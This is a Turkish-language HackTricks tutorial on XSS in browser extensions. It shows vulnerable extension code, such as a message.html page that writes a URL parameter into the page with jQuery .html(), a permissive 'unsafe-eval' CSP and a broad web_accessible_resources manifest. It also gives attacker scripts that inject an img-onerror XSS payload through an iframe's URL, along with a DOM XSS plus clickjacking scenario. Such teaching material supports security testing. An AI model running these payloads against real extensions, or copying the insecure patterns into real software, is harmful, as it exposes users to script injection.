hacktricks/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md
2024-02-10 18:14:16 +00:00

7.4 KiB
Raw Blame History

BrowExt - XSS Örneği

AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!

HackTricks'i desteklemenin diğer yolları:

Iframe Aracılığıyla Cross-Site Scripting (XSS)

Bu yapılandırmada, bir içerik betiği Iframe'in örneklendirilmesi için kullanılır ve Iframe'in kaynağı olarak sorgu parametreleri içeren bir URL eklenir:

chrome.storage.local.get("message", result => {
let constructedURL = chrome.runtime.getURL("message.html") +
"?content=" + encodeURIComponent(result.message) +
"&redirect=https://example.net/details";
frame.src = constructedURL;
});

Halka açık bir HTML sayfası olan message.html, URL'deki parametrelere bağlı olarak belge gövdesine içerik eklemek için tasarlanmıştır:

$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search);
let userContent = urlParams.get("content");
$(document.body).html(`${userContent} <button id='detailBtn'>Details</button>`);
$('#detailBtn').on('click', () => {
let destinationURL = urlParams.get("redirect");
chrome.tabs.create({ url: destinationURL });
});
});

Bir kötü niyetli betik, saldırganın sayfasında yürütülür ve Iframe'in kaynağının content parametresi değiştirilerek bir XSS saldırı yükü eklenir. Bunun için Iframe'in kaynağı zararlı bir betik içerecek şekilde güncellenir:

setTimeout(() => {
let targetFrame = document.querySelector("iframe").src;
let baseURL = targetFrame.split('?')[0];
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>";
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`;

document.querySelector("iframe").src = maliciousURL;
}, 1000);

ırı izin verici bir İçerik Güvenlik Politikası örneği:

"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"

JavaScript'in yürütülmesine izin vererek, sistem XSS saldırılarına karşı savunmasız hale gelir.

XSS'yi tetiklemek için alternatif bir yaklaşım, bir Iframe öğesi oluşturmak ve kaynak olarak zararlı betiği content parametresi olarak ayarlamaktır:

let newFrame = document.createElement("iframe");
newFrame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>");
document.body.append(newFrame);

DOM-tabanlı XSS + ClickJacking

Bu örnek, orijinal yazıdan alınmıştır.

Temel sorun, /html/bookmarks.html konumunda bulunan bir DOM-tabanlı Cross-site Scripting (XSS) açığından kaynaklanmaktadır. Sorunlu JavaScript, bookmarks.js'nin bir parçası olarak aşağıda detaylandırılmıştır:

$('#btAdd').on('click', function() {
var bookmarkName = $('#txtName').val();
if ($('.custom-button .label').filter(function() {
return $(this).text() === bookmarkName;
}).length) return false;

var bookmarkItem = $('<div class="custom-button">');
bookmarkItem.html('<span class="label">' + bookmarkName + '</span>');
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>');
bookmarkItem.attr('data-title', bookmarkName);
bookmarkItem.data('timestamp', (new Date().getTime()));
$('section.bookmark-container .existing-items').append(bookmarkItem);
persistData();
});

Bu kod parçacığı, txtName giriş alanından değeri alır ve HTML oluşturmak için dize birleştirme kullanır. Oluşturulan HTML daha sonra jQuery'nin .append() fonksiyonu kullanılarak DOM'a eklenir.

Genellikle, Chrome eklentisinin İçerik Güvenlik Politikası (CSP) bu tür güvenlik açıklarını engeller. Ancak, 'unsafe-eval' ile CSP gevşemesi ve jQuery'nin DOM manipülasyon yöntemlerinin (DOM ekleme sırasında eval() fonksiyonuna betikleri iletmek için globalEval() kullanması) kullanılması nedeniyle, sömürü hala mümkündür.

Bu güvenlik açığı önemli olsa da, genellikle kullanıcı etkileşimine bağlı olarak sömürülür: sayfayı ziyaret etmek, bir XSS yüklemesi girmek ve "Ekle" düğmesini etkinleştirmek.

Bu güvenlik açığını artırmak için ikincil bir clickjacking güvenlik açığı sömürülür. Chrome eklentisinin manifest dosyası geniş bir web_accessible_resources politikasını sergiler:

"web_accessible_resources": [
"html/bookmarks.html",
"dist/*",
"assets/*",
"font/*",
[...]
],

Özellikle /html/bookmarks.html sayfası çerçevelenmeye müsait olduğundan dolayı clickjacking saldırısına karşı savunmasızdır. Bu zafiyet, saldırganın sitesi içinde sayfayı çerçevelemek suretiyle, arayüzü yanıltıcı bir şekilde yeniden tasarlamak için DOM öğeleriyle örtüşmesini sağlar. Bu manipülasyon, kurbanların istemeden altta yatan uzantıyla etkileşimde bulunmasına yol açar.

Referanslar

AWS hacklemeyi sıfırdan kahraman olmak için öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'i desteklemenin diğer yolları: